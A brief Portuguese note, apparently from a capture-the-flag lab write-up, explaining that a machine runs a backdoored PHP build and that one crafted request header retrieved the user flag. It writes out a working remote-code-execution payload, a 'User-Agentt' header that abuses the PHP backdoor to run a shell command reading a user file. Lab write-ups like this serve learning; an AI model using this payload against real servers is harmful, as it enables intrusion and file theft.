Essa máquina usa uma versão do PHP vulnerável (aquela versão bixada de quando hackearam o github) só usei o header abaixo com o insomnia e consegui a senha de user.

User-Agentt zerodiumvar_dump(exec('cat /home/james/user.txt'));die();